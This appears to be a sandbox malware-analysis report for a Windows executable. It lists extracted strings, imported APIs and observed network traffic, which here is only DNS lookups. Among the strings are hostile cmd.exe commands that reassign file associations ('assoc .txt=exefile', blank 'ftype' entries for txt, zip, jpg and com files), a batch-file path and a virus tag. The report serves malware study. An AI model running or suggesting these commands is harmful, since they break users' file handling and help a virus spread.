78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
764B151C355885023EAC63AD4EC72A66
A7A45284C021949FCB12F82E84ADE835
E0C667944D08611BAC6BD60DA4B4BB0F
3308E37EB65C4607B66E6EEB5889FFDF
E5D714EB8CEEB6F7B4E5FD24529AD735
104EC85D1E0D2CD742D62377C0EBA714
466F56C49E765D6FCF792C14F504D5A9
87D594AA52DD916B71E104ADD235928B
386FB518756F06BA1AEBDA0B5E6EBF8C
P4WTSPh
4PPWTPh
SuPHPh
VWXTcjd_
SXP3hl
H<PVLa
H3<Q@PWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
HX<QPWTP
X<QPWT
VWXT\ajd_
H<PVLa
H3<Q@PWTP
HX<QPWT
HX<QPWTP
HX<QPWT
HX<QPWT
HX<QPWT3C@P
X<QPWT@
<8O<D0QPhM
@PqG|2F
VS^_3[]
VWEZ3X}uZ`jZ_ZTZ(IZ
((7F&F
FXXEEM_d
SVWXEX3}XWWh
S!t!xho
SW3EX\ho
T}J<;u
=((=XX=
=``n=]=MT
VXE.P3j
*9;u)E
y4XX7_[Md
VXEJ3j
#4;u)HE
3;v:9,
XPt 9(
3+tSHt=Ht'Ht
?3_[Md
PQXP E
H@@<RQP
XTI@5|o
@4PDSa
@34Q@PWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
@X4QPWTH
X4QPWT
PLWTSPh
LPPWTPh
SuPHPh
tKWPhI
X6PXP$09H
vLWPhQ
XP4XP,9x
vLWPhJ
XPXP|,9
vLWPhK
XPXP(,9
vLWPhL
XP8XP,`
#tiWPhM
XPXPc
#XX#M^d
XT63SjdX]W"j
tVWXPhN
t!tVWXPhO
PTXPV|
!tOWXPhP
QTPP09Lt0WXPh[
PTXPV @]b X
t!M_^d
WXT(A4F
(v1Wjd(E
4/X}&/E
VPjdWkX
VXPjrW[X
j0d5po
VXPjdWW
VPjdWE
VXPjrW%W
j0d5po
3@M_^d
VXPjdWE
$`Y`VPhs
VXPjdWE
,j0d4W
X/)($)
V(PjdWE
j04dW
SVW33G;EE
xPPtPS|t
(&]&&X&
V(PjdSE
(R#X}D#9#
3@M_^d
W3WS S
EPuWSj
3uLPho
PjgYYj
;tc90t_Vj
VPjdS@
}*VXPjrj
j0d5po
VPjdSY?
PP}*VXPjrj
j0d5po
VPjdS&>
P}*VXPjrj
j0d5po
VPjdS<
P;})VXPjrSX<
j0d5po
+tGHt5Ht#Ht
df8hCVXPhO
+VXPhN
V(PjdWE
VPjrWN9
j045po
YY2XX!
(PXch`Q
(PXh`Q
((wXXfM_^d
df0\Ph
uijdhQ
9hv=LPPPTPXPhQ
Vjn[hQ
f04V5po
XX((|``kZI8Md
u<EPSj
UDSVWh
EEP5po
W3WuEP
E+EWPE+EPE+E
EPW5to
+V4YJ\`
+Vs;5``
3_^[;5l`
SWE30}j
f8@@f98uVW
Wd45po
X``UV`Ph
V(PjnW%
Wld5po
9,(t hR
Xb(WV(Ph
V`PjnW#
W4d5po
((JXX9(
P3Vh<L
M3Fx5Ho
VVWUYu\3A9
VVdV5po
vTl3|j
WXPjdVE
Vd5po
jqYYxMh
WPjd3VE
WXPjiV
j0d5po
W(PjdVE
ddP+@j
XXn]L((;3VVh/
;t?95o
SWPj5|o
SXPjlVE
S(PjdV3
PWdPo095
((XXMl
W3WWEE
uK\Ph`
`PWh4S
v*GGf? w f="
dGtpWq
dstpW,
W'@Pj.} =o
&39u 9=o
4PjsWc
NYYShN
t7ShTN
YYShTN
t7Sh(N
YYSh(N
V4Pjd3W
FYYShN
t7ShTN
YYShTN
t7Sh(N
~YYSh(N
twf}66
t7ShTN
YYShTN
t7Sh(N
PYYSh(N
uG`P3PPh
Wdt@Pj d~
lPjfVz
fd[PM_^[w
fDV*^]
_3_^[]
URuPQT|+}
URuPQT|+}
U SVW3S
UREuTq
|P9]tKEP]
PQHE;t
dE{VdXpG
YYu#9`u
YM_^[m
PqXPWV6
W3}X(hZ
`((OXX>-
S df8o
VXWWPX>Yo
;t=PhxU
VX`WWPXXo
;t=PhHU
WWPXXo
VXWWPXlXo
;t=PhT
VXWWPX&Xo
;t=PhT
VXHWWPXWo
;t=PhT
WWPXW9ht_hxT
WWXP(GW4hDT
CdDdPWphZ
804W,E
;LtHXP
P0XPht\
8;t1XQ
PXPh`\
D;t1XQ
PXPhL\
H;t1XQ
PuXPh4\
P;Lu<;
P;Lu8;t+hD[
TD;t+h
TH;t+hZ
XET,23
40TPh^
,YYP;H
SVWXET
P0DPh^
SyYY^W3Gt
t+Ht!Ht
+t+Ht!Ht
YY hPd
PiK -f
Y|jv(T,u
WpVWis
WJ3098
RPTDHQv<Ph0s
YY hPd
VXJOuXP
7v!;hs
XX{M_^d
3SEEEA
E0EPhx
SV3;WE
WVW37(
W/YY hPd
WLVWEs
WYY3M_^d
SVW3;E
@PaPh0
YYt"7h
WSm0Xe
@Pj\y~
y3M_^d
PX4XPhx
PXyXPhx
PX$XPhx
PXiXPhx
P(lh,T
\ 3*qM_^d
E0EPh0
E0EPh0
YY^ltD`
W~VWws
WSYY3_^
PX:zXPh
PXyXPh\
dXXd$b
YY hPd
3((*`M_^d
XHTPrHPhH
PV;YYt
PVh;YYt
PV<;YYt
PX`lHXPh
V@YY h
XPVWV^h
XPViWV
X3M_^d
WXTDk3
Hu3d(hh
TYYh,T
nT``]T\
T#YYh,T
SS((SXXSM_^d
ZN48V0E
NLPVHE
NptVlE
2O@DV<E
hO(,V$E
OdhV`E
PX\VTE
|q!|^%|K=Pq
Wffffff
YY]j`h
3{FF3f
FFW](j
w\SVP9
YE;t:FHE;r
9}uX;u
E;t0FHE;r
9}u";u
EE;u`9=t
3CSVW5`
UQQSVWd5
SVWE3PPPuu
E_^[E]
USVWUj
P(RP$R
t5|$(t
;t$(v(4v
UQPXY]Y[
@@fu+E
fSt8+f
@@fu3[_]
@@fufM
HLNLHPNPP3Y`
vPVLPQE
Y3^_[]
AABBM
tJf9}tDf9Et<}
3F95xr
3MYY[]
31YY[]
SVEW3;
@u+@<v)P
UQSVW>
<"u>"u
3Y[^_5Xr
@B8\t8"u&
UQQSVW39=
W33;u.
;tuf9 t
SSS+S@PWSSE;
;YEt!SSuPuWSS
uGY]]W
;rSVWEP
YYt(V5
PYF,;t
PYF4;t
PYF<;t
PYFD;t
PYFH;t
PYFT=pa
Y}F`E;t
FdE;tM
YYt+V5
3@^p3^
3]3@]h
+SVWEePEEEEd
Y_^[QVC20XC00U
33333]^]
]_^[]UL$
f;rof=p
f;r_f=Z
f;rOf=
rBPf;rAf=*
f;r1f=J
f;r!f=
3"p@d;
VDYYFu
WYYuf_]h0
PyYYtF
YYGG3f
YfdtSfitMfotGfxtAfXu
1ht lt
g~Bit!n
(j-_f;u
YtdV(PW
GGf?^u
f]t`FFf9s
jx^f;tZfXtT
S~YYj0[
ptBuf%
F$|3@_^
k3Y@_^]
W3;u4DP
MOI;|9 M
WI <}}
MLD3#um
#Mj _^{
;]r;]u&
]#\D\D
FF@@u3
YYE@xE@|EpxM
EE8csmu%Ex
EPQ3VW
GuRYMHxMH|>csmu6~
t u$u u
WEPEPVu u
;EsVS;7|B;w
;Er[_^
Wcsm9>
}EPEPWu u
(u$u ]u
VYY_^[
u u$u uu
tP8csmu,9x
U$Ru u
P 3@_^]j
VW_^]M
It7ht<
HHtxHHtt
@@@u3@t
t-RPWS
CYCY~9PM
PvCC>Yt
j ^f;r
It6ht<
}]UZtg
@@@u3@t
t-RPWSH/
uH80t8
A80t.F
EVM(^[
uMSW<t
D=VP YYtG;|fE
YYM_^[@=
r$$w @
W=YEMT
tc;t_F,98uXF4;t
YYF0;t
YYv,}v<uYYF@;
PZvDRYYFP;
vP+YYV#Y_^]
3;t/A,
QoYFd^j
W>+~'WPv
7Y}3u;5@
tVPVDYY3BU y
qtb+tG
VbtFHt+
Y]3u;5@
4VYY y
GIt%t)
Gt/KuD$
GKu[^D$
VPVPV5v
@;rD3Ar
@;vAAy
YE;uo>
EtVMf9MZ
_^[j$h
33F9=lu
u2EPVh|
M3F]39}u
SVeYYE;tuWWSuu
P}YEtnu
fNPSuu
E_WEPE
UDSVWj
E3;}M]
@@Ju;t
;tD9]u?8\
EPSRWjQSv
M_^[.x
BG;U|E
EPSSSjQSv
;F(r(8_
t#F(39]
DDDDDDDDDDDDDD
;|P+;E
ue9t-j
*09)Y+
s 9~(~
j Yj Y+
VWj Y}
Pj Y+3BR0H%
Yj ^+3B
QP4YYu
<+3E_^[
|3@]3]
SVWj ^]
EPEPEWPv
@PEP 3;>v
|!3}MEP^
fYY3j Y+N
3QQQEE
QPEPEP#
EVPM$^vh
3QQQEE
QPEPEP#
EVPdM$^.h
tAt2t$
@u+@PWV
EPVcM s
u5SSWh|
E SSSSu
]M3G9]u
YE;t}SSuuu
e33Mu;u
V?Y;thE
WreY9]t
ev$dv(dv,dv0dv4dv
dv8dv<d@v@dvDdvHdvLdvPdvTdvXdv\
dv`wdvdodvhgdvl_dvpWdvtOdvxGdv|?d@
PWcY^]
PbYv$Dk
VtbY^]UV3PPPPPPPPU
u5EP3GWh|
V`YEn}
e}UWVSM
[^_UV3PPPPPPPPU
t78t2=`
3@_^[]
PYYtbF
EEuzEE
YXS9YtJU
t1SaYP
t@ t20t$@t
/t(;t$;t
8EPuuu
uWEY>j
u|Yj4h@
u8WW3FVh|
YE;t@E
t!SS9]
u1VY9]t
E;tWWu
EPSu u
YMMjDhh
39}t WWu
tjEEb9}u
WWWWVSWu
;tG3Vj
YYE;t43WWVPVSWu
HHtjHHtF
u9S\UC\
}]39Mt
WVE;Yu
;VWEN@
vOE}SLSFEPSS6E
EMu39S
tfEM_^fC
+t5-t00
uFQ3@}
G0t1|
HHu&Mj
PQYuuO
#fEEEEEEEEEEEE?E
PEPfU}Y
EPMYu}
EPNYuO
EPoEPfEPEPEPPEM
0H;s;s
@UWVSu
F'G8t,A<
WN^xd;=g
tXSjYe
EPKYu}
u5}u,e
MuVQTYYM39U
6UWVSM
B8t6t8t't
M}M}M3~M~M~M#
M{M|@F
g~X\~`Q~F~;~(0~
~|UzpzG{LG
Tuy}`}}X}(}}G
Xt}y^}G
X }qzy|<H
X|@izH
(|Xu|j|_|XT|I|X>|3|X(|
x({{X{X{({lI
({{{p{Xe{I
(K{X@{5{I
w(]zRzJ
8zX-z"z K
z(yyy\K
yyy`y(yXyK
|y0qyfy[y(PyXEyX:y`/y$y(
y(xx`x<L
xmtXxxWtxXxxuxtX{xpx(exZxOxXDxxsltL
wwXw(wwPM
uOuX7wM
w`v(vXv
(vXwvlvN
XRvXGvN
X-v("v
q0qH&rlsr
s$Zs`sxsT#
RegCloseKey
RegSetValueExW
RegCreateKeyExW
RegEnumValueW
RegQueryInfoKeyW
RegOpenKeyExW
RegQueryValueExW
RegEnumKeyW
RegEnumKeyExW
RegDeleteKeyW
RegFlushKey
RegDeleteValueW
RegNotifyChangeKeyValue
ADVAPI32.dll
lstrlenW
EnterCriticalSection
InterlockedIncrement
LeaveCriticalSection
InterlockedDecrement
GetSystemDirectoryW
GetCurrentDirectoryW
InitializeCriticalSection
GetFileAttributesW
GetModuleFileNameW
DeleteCriticalSection
CloseHandle
HeapFree
HeapAlloc
GetProcessHeap
lstrcpyW
lstrcmpW
GetWindowsDirectoryW
CompareFileTime
lstrlenA
GetVersionExW
WaitForMultipleObjects
WaitForSingleObject
SetEvent
GetCurrentThreadId
FreeLibrary
LoadLibraryW
GetCommandLineW
CreateEventW
GetSystemInfo
GetFullPathNameW
QueryPerformanceCounter
GetTickCount
GetCurrentProcessId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoA
GetCommandLineA
GetVersionExA
HeapReAlloc
RtlUnwind
ExitThread
TlsSetValue
TlsGetValue
GetLastError
CreateThread
ExitProcess
GetProcAddress
GetModuleHandleA
WriteFile
GetStdHandle
GetModuleFileNameA
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStringsW
SetHandleCount
GetFileType
TlsFree
SetLastError
TlsAlloc
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
IsBadWritePtr
HeapSize
LoadLibraryA
GetACP
GetOEMCP
GetCPInfo
InterlockedExchange
VirtualQuery
GetStringTypeA
GetStringTypeW
VirtualProtect
MultiByteToWideChar
IsBadReadPtr
IsBadCodePtr
SetFilePointer
LCMapStringA
LCMapStringW
GetLocaleInfoA
SetStdHandle
FlushFileBuffers
CreateFileW
SetEndOfFile
ReadFile
KERNEL32.dll
GetTextExtentPointW
GDI32.dll
EnableWindow
SendMessageW
GetDlgItem
MessageBoxW
LoadStringW
wsprintfW
EndDialog
DialogBoxParamW
GetWindowLongW
CallNextHookEx
PostMessageW
IsWindowEnabled
GetKeyState
DestroyWindow
MessageBoxA
wsprintfA
LoadStringA
SetDlgItemTextW
ShowWindow
CheckDlgButton
SetWindowTextW
ReleaseDC
SetDlgItemInt
GetDlgItemInt
GetDlgItemTextW
CheckRadioButton
LoadIconW
SetForegroundWindow
KillTimer
SetTimer
SetFocus
GetFocus
SetWindowPos
AdjustWindowRectEx
GetWindowRect
CreateDialogParamW
GetClientRect
UpdateWindow
PostQuitMessage
UnhookWindowsHookEx
SetWindowsHookExW
DispatchMessageW
TranslateMessage
IsDialogMessageW
PeekMessageW
MsgWaitForMultipleObjects
GetDesktopWindow
USER32.dll
ImageList_Destroy
ImageList_ReplaceIcon
ImageList_Create
COMCTL32.dll
GetSaveFileNameW
comdlg32.dll
ShellExecuteW
SHELL32.dll
CoInitializeSecurity
CoInitialize
CoCreateInstance
CoUninitialize
ole32.dll
OLEAUT32.dll
I x@oGAkU'9p|B
~QCv)/&D(
uuvHMXB
9;5SM]=];Z] T7aZ%]g']
?Zd;On
7?3=Bz
;1az?aUY~S|
D?$?9'
*?}d|FU>c{
zc%C1<!8G
u7.:3q
#2IZ9W
,%I-64OSk%Y
216E0CC0CE2B89F5744D630BFDA1DBAD
B7E2F86F3BC6F19BD467E1B3C5D0C0C7
4EB232B783B92214BFC1E08897E4C5CE
CE63E9A35A0D2BDAD7B48E3561727A02
B508A6C9059AA00580922CF5BD7754BD
BA9C044EA2FF3E936B67F8AF6A94969B
37EF691EC8CE873FC977FFC2626E5A49
82113C8CC75CAA022DBDE73DEAF63B1F
82711FA4AF9AE9579FAC15CDE8ED0A64
9BC32D3AD026393FA15723C0F6B57F54
61863D861E052492CB945DBDAD4C67F3
CD3A246CDE42E41F281EC5AF3BEFAC44
51F4BBA896807318CD3428DD59F3D1B0
90ABB3C418A151B911312B306D7394D2
0786361F7F8431C36CF98D9F7236C71C
2FC316E5A3CF0BACC8C815C34B511FAA
9CF16186F2111796ACD41CE44F5C4CF3
663B473799ED70DFE9764BFCE9FC333A
2EBAFDC2E80AD6630B43C8BDDF79589F
8419BE08503F4EB9525A28000C700C77
5CC2513DB859EF939BA9DA46FE758E57
4A700285BB7DA4A9480F4234A9B2BA26
77B28852B0D5C3029429A72C7A740A09
0CA5C53E671714DC954A989693DECB31
72E9BA4595334303988DAC561CF4F483
7408E57A355BA4C84F03DC5CEFF7B60B
8C2446B50A55897D911C1C9462F969DD
E2FFB58E5E9D960C84AB3A968C5172EC
DD11FC6BBDC252CC84235DBDA8FE5A8E
115A5040F0229D26B6EE1D18080389C7
B28FE16724FA7148E870B1DB78C075E6
B1C074021BF9B9198931874E3543B355
542718393A3B66D642F759E9B6C511AF
115EB751251FC694ADE22638A3588946
0DD696271565626CCCFC6D84D57CA619
93F9A9818BBA389594D54379AEC97EEB
627CFA73B4B9CC79D0BC4755ABB46C8B
84BDA401D7DFB16F7B8E21D64B185F67
0F4D48F3E425D0281E0F6BF0A242C908
0E7DC75BE814042EE638D738FF47D58C
788606E2FC0051D25C8B3FDABF5545AB
07ABB01629E0C79EB78AE009395911EB
4F0DC4376E47CEB337A2B1FBC4DAFA20
3AA62EEE583C83FCCFA99917691FDFF2
7C4988544E19857988A014A952728E0B
4864B2A5D6222996DF07025B6BB8239E
593FF1077E1D2EFAC995FBDD710A60E4
73808D619752E0A4A441516B85E0D9A8
F93C25F4E9F6F44E58C70AEBE5279FEA
B11EB14DE3F4001E9E92A7CA6B737805
FDE6433136447CB527D2398579EDAF67
0B36EBFB012659E2947810CD9B36314A
9A49676D5B637BDB584C9809AC5E7EF8
5EADA178DC7FC1080435202EAF58FC24
B8B6E53992728878A3AACC8C428680B5
7320B6D41804A978057ED2047512DCF9
0E6C0AFF32B338A608E54F33BA6F8B64
74C7E528CAC7490C93B8884520C6701E
09E63F3F53A9ED519AF74A8DD14CAA5C
B113A644B23F9B06A76366C8A681B174
2F63A5A40578B388DD81DE7F119B10EC
580ECFA46198360A23ABB224E0604A8E
F5F01F8BE9C0407DDE69882E70392957
5341545A53AA611F4A7F17B0C10AD041
A8944996B57CD2C2B15A801BA45EE273
2CEE4FE0C8CBF42544F12BB23F2FDEC9
F9A0622FAB2E67FE152788565D5683B4
E8EC3C0CA9692A9DA7B8FABAC6996D5F
6179F91219659C51DED162CF20300B22
CDEF383CBBDE2F64BFD9E1FC23800BCD
C0532F7219C937A12322F8B4CA76C2A5
E1B092B5DFD3AD41A234802D0D4FFA17
14F619EFDAFADE0A7BF67AC17D2396F7
F385B8A93584436B4AAF466927E55A59
AD8D93A645C955207E1FAC1AC9523D77
40FE02EDD1A99D02A57CBBF8AB46CF3F
1C57F23E081D55A8B796FCB0D7A472C6
B7FFE48B7904142F7095C419442096BC
9BD60A4AB093FE4C6C57F13BD37180A4
6FD5BE841F37ED11C340D6F6FF1DE445
90B9682EEBD5DAB7905CABE5A0228FB1
47330A81332FFBBB2E7247A96976A400
77A5B97880D2EB68DDF27F64B45F693E
CE62126D7E78EB9E7A109D84A87D019B
c m d . e x e
M d 5 _ S t r i n g _ C a l c
C : \ 1 2 3 . b a t
c m d . e x e / c a s s o c . t x t = e x e f i l e
c m d . e x e / c f t y p e c o m f i l e =
c m d . e x e / c f t y p e z i p f i l e =
c m d . e x e / c f t y p e j p g f i l e =
c m d . e x e / c f t y p e t x t f i l e =
z n k z z
v i r u s Q Q 6 2 1 3 7 0 9 0 2
V S _ V E R S I O N _ I N F O
S t r i n g F i l e I n f o
0 8 0 4 0 4 B 0
C o m p a n y N a m e
F i l e D e s c r i p t i o n
L e g a l C o p y r i g h t
L e g a l T r a d e m a r k s
P r o d u c t N a m e
F i l e V e r s i o n
P r o d u c t V e r s i o n
I n t e r n a l N a m e
O r i g i n a l F i l e n a m e
V a r F i l e I n f o
T r a n s l a t i o n
c m d . e x e
M d 5 _ S t r i n g _ C a l c
C : \ 1 2 3 . b a t
c m d . e x e / c a s s o c . t x t = e x e f i l e
c m d . e x e / c f t y p e c o m f i l e =
c m d . e x e / c f t y p e z i p f i l e =
c m d . e x e / c f t y p e j p g f i l e =
c m d . e x e / c f t y p e t x t f i l e =
z n k z z
v i r u s Q Q 6 2 1 3 7 0 9 0 2
V S _ V E R S I O N _ I N F O
S t r i n g F i l e I n f o
0 8 0 4 0 4 B 0
C o m p a n y N a m e
F i l e D e s c r i p t i o n
L e g a l C o p y r i g h t
L e g a l T r a d e m a r k s
P r o d u c t N a m e
F i l e V e r s i o n
P r o d u c t V e r s i o n
I n t e r n a l N a m e
O r i g i n a l F i l e n a m e
V a r F i l e I n f o
T r a n s l a t i o n
c m d . e x e
M d 5 _ S t r i n g _ C a l c
C : \ 1 2 3 . b a t
c m d . e x e / c a s s o c . t x t = e x e f i l e
c m d . e x e / c f t y p e c o m f i l e =
c m d . e x e / c f t y p e z i p f i l e =
c m d . e x e / c f t y p e j p g f i l e =
c m d . e x e / c f t y p e t x t f i l e =
z n k z z
v i r u s Q Q 6 2 1 3 7 0 9 0 2
V S _ V E R S I O N _ I N F O
S t r i n g F i l e I n f o
0 8 0 4 0 4 B 0
C o m p a n y N a m e
F i l e D e s c r i p t i o n
L e g a l C o p y r i g h t
L e g a l T r a d e m a r k s
P r o d u c t N a m e
F i l e V e r s i o n
P r o d u c t V e r s i o n
I n t e r n a l N a m e
O r i g i n a l F i l e n a m e
V a r F i l e I n f o
T r a n s l a t i o n
c m d . e x e
M d 5 _ S t r i n g _ C a l c
C : \ 1 2 3 . b a t
c m d . e x e / c a s s o c . t x t = e x e f i l e
c m d . e x e / c f t y p e c o m f i l e =
c m d . e x e / c f t y p e z i p f i l e =
c m d . e x e / c f t y p e j p g f i l e =
c m d . e x e / c f t y p e t x t f i l e =
z n k z z
v i r u s Q Q 6 2 1 3 7 0 9 0 2
V S _ V E R S I O N _ I N F O
S t r i n g F i l e I n f o
0 8 0 4 0 4 B 0
C o m p a n y N a m e
F i l e D e s c r i p t i o n
L e g a l C o p y r i g h t
L e g a l T r a d e m a r k s
P r o d u c t N a m e
F i l e V e r s i o n
P r o d u c t V e r s i o n
I n t e r n a l N a m e
O r i g i n a l F i l e n a m e
V a r F i l e I n f o
T r a n s l a t i o n
c m d . e x e
M d 5 _ S t r i n g _ C a l c
C : \ 1 2 3 . b a t
c m d . e x e / c a s s o c . t x t = e x e f i l e
c m d . e x e / c f t y p e c o m f i l e =
c m d . e x e / c f t y p e z i p f i l e =
c m d . e x e / c f t y p e j p g f i l e =
c m d . e x e / c f t y p e t x t f i l e =
z n k z z
v i r u s Q Q 6 2 1 3 7 0 9 0 2
V S _ V E R S I O N _ I N F O
S t r i n g F i l e I n f o
0 8 0 4 0 4 B 0
C o m p a n y N a m e
F i l e D e s c r i p t i o n
L e g a l C o p y r i g h t
L e g a l T r a d e m a r k s
P r o d u c t N a m e
F i l e V e r s i o n
P r o d u c t V e r s i o n
I n t e r n a l N a m e
O r i g i n a l F i l e n a m e
V a r F i l e I n f o
T r a n s l a t i o n
c m d . e x e
M d 5 _ S t r i n g _ C a l c
C : \ 1 2 3 . b a t
c m d . e x e / c a s s o c . t x t = e x e f i l e
c m d . e x e / c f t y p e c o m f i l e =
c m d . e x e / c f t y p e z i p f i l e =
c m d . e x e / c f t y p e j p g f i l e =
c m d . e x e / c f t y p e t x t f i l e =
z n k z z
v i r u s Q Q 6 2 1 3 7 0 9 0 2
V S _ V E R S I O N _ I N F O
S t r i n g F i l e I n f o
0 8 0 4 0 4 B 0
C o m p a n y N a m e
F i l e D e s c r i p t i o n
L e g a l C o p y r i g h t
L e g a l T r a d e m a r k s
P r o d u c t N a m e
F i l e V e r s i o n
P r o d u c t V e r s i o n
I n t e r n a l N a m e
O r i g i n a l F i l e n a m e
V a r F i l e I n f o
T r a n s l a t i o n
c m d . e x e
M d 5 _ S t r i n g _ C a l c
C : \ 1 2 3 . b a t
c m d . e x e / c a s s o c . t x t = e x e f i l e
c m d . e x e / c f t y p e c o m f i l e =
c m d . e x e / c f t y p e z i p f i l e =
c m d . e x e / c f t y p e j p g f i l e =
c m d . e x e / c f t y p e t x t f i l e =
z n k z z
v i r u s Q Q 6 2 1 3 7 0 9 0 2
V S _ V E R S I O N _ I N F O
S t r i n g F i l e I n f o
0 8 0 4 0 4 B 0
C o m p a n y N a m e
F i l e D e s c r i p t i o n
L e g a l C o p y r i g h t
L e g a l T r a d e m a r k s
P r o d u c t N a m e
F i l e V e r s i o n
P r o d u c t V e r s i o n
I n t e r n a l N a m e
O r i g i n a l F i l e n a m e
V a r F i l e I n f o
T r a n s l a t i o n
c m d . e x e
M d 5 _ S t r i n g _ C a l c
C : \ 1 2 3 . b a t
c m d . e x e / c a s s o c . t x t = e x e f i l e
c m d . e x e / c f t y p e c o m f i l e =
c m d . e x e / c f t y p e z i p f i l e =
c m d . e x e / c f t y p e j p g f i l e =
c m d . e x e / c f t y p e t x t f i l e =
z n k z z
v i r u s Q Q 6 2 1 3 7 0 9 0 2
V S _ V E R S I O N _ I N F O
S t r i n g F i l e I n f o
0 8 0 4 0 4 B 0
C o m p a n y N a m e
F i l e D e s c r i p t i o n
L e g a l C o p y r i g h t
L e g a l T r a d e m a r k s
P r o d u c t N a m e
F i l e V e r s i o n
P r o d u c t V e r s i o n
I n t e r n a l N a m e
O r i g i n a l F i l e n a m e
V a r F i l e I n f o
T r a n s l a t i o n
Hosts
| IP |
|---|
| 114.114.114.114 |
DNS
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| dns.msftncsi.com | A 131.107.255.255 | 131.107.255.255 |
| dns.msftncsi.com | AAAA fd3e:4f5a:5b81::1 | 131.107.255.255 |
TCP
No TCP connections recorded.
UDP
| Source | Source Port | Destination | Destination Port |
|---|---|---|---|
| 192.168.56.101 | 53179 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 49642 | 224.0.0.252 | 5355 |
| 192.168.56.101 | 137 | 192.168.56.255 | 137 |
| 192.168.56.101 | 61714 | 114.114.114.114 | 53 |
| 192.168.56.101 | 56933 | 114.114.114.114 | 53 |
| 192.168.56.101 | 138 | 192.168.56.255 | 138 |
HTTP & HTTPS Requests
No HTTP requests performed.
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts
Sorry! No dropped files.
Sorry! No dropped buffers.